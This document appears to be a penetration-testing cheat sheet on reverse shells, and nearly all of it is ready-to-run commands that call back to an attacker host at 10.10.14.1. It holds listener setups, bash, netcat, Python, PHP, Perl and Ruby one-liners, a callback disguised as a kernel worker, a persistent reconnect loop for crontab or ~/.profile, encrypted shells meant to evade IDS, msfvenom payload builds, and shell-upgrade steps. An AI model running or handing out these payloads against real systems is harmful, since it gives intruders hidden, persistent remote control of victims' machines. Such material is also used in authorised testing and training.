Reverse Shells
Sections Reverse Shells
Listener first, then the callback. Set attacker IP and port once:
LHOST=10.10.14.1
LPORT=4444
i. Pick a listener
Plain netcat, no frills:
nc -lvnp "$LPORT"
ncat, supports SSL and multiple clients:
ncat -lvnp "$LPORT"
ncat -lvnp "$LPORT" --ssl ## TLS listener for openssl/curl callbacks
ncat -lvnp "$LPORT" --keep-open ## accept multiple connections
pwncat-cs, stable PTY + upload/download out of the box, skip the stty dance:
pwncat-cs -lp "$LPORT"
## If it hangs at "registered new host", Ctrl-C then type 'back'
ii. Bash one-liners
The /dev/tcp trick, most common:
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
When the current shell is not bash:
bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'
Backgrounded, survives a tty close, hidden as kworker:
bash -c '(exec -a "[kworker/0:1]" bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &)'
Persistent reconnect, drop in ~/.profile or crontab, single instance:
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/10.10.14.1/4444 0>&1; sleep 360; done' &>/dev/null &)
iii. When /dev/tcp is not available
Embedded boxes and busybox builds often have no /dev/tcp. Fall back to mkfifo or a real interpreter.
mkfifo + sh + nc, classic:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc "$LHOST" "$LPORT" >/tmp/f
nc with -e, only if compiled in:
nc -e /bin/sh "$LHOST" "$LPORT"
nc without -e on modern shells:
{ nc "$LHOST" "$LPORT" </dev/fd/2 | sh; } 2>&1 | :
Python:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
PHP, Perl, Ruby, one each:
php -r '$s=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
iv. Encrypted reverse shells
When the network drops cleartext or you want to dodge IDS.
openssl on both ends:
## Attacker
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=x"
openssl s_server -port 4444 -cert cert.pem -key key.pem
## Target
({ openssl s_client -connect 10.10.14.1:4444 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&-; } 3>&1 | : &)
socat, fully interactive in one shot:
## Attacker
socat file:$(tty),raw,echo=0 tcp-listen:4444
## Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.1:4444
revshells.com covers every language and quoting style. Use it for awkward shells like SSTI payloads, single-quote-only contexts, and Windows.
v. msfvenom payloads
Drop a file when one-liners fail (web upload, SUID binary swap, scheduled task):
## Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o sh.elf
## Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o sh.exe
## JSP for Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f raw -o sh.jsp
## WAR for Tomcat manager upload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f war -o sh.war
## PHP webshell
msfvenom -p php/reverse_php LHOST=10.10.14.1 LPORT=4444 -f raw -o sh.php
vi. Upgrade a dumb shell
Step by step, the full upgrade dance:
## On target
python3 -c 'import pty;pty.spawn("/bin/bash")'
## Press Ctrl-Z to background
## On attacker
stty raw -echo; fg
## Back on target
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 50 columns 200
One-line PTY only, no full interactive:
script -qc /bin/bash /dev/null ## Linux
script -q /dev/null /bin/bash ## BSD
Auto-size the terminal correctly, no guessing rows/cols:
stty -echo; printf "\033[18t"; read -rdt R; stty sane $(echo "${R:-8;80;25}" | awk -F";" '{ printf "rows "$3" cols "$2 }')
Single-quoted payloads break when the field already wraps in single quotes. Base64-wrap to survive any transport: echo -n 'bash -i ...' | base64, then on target echo BASE64 | base64 -d | bash.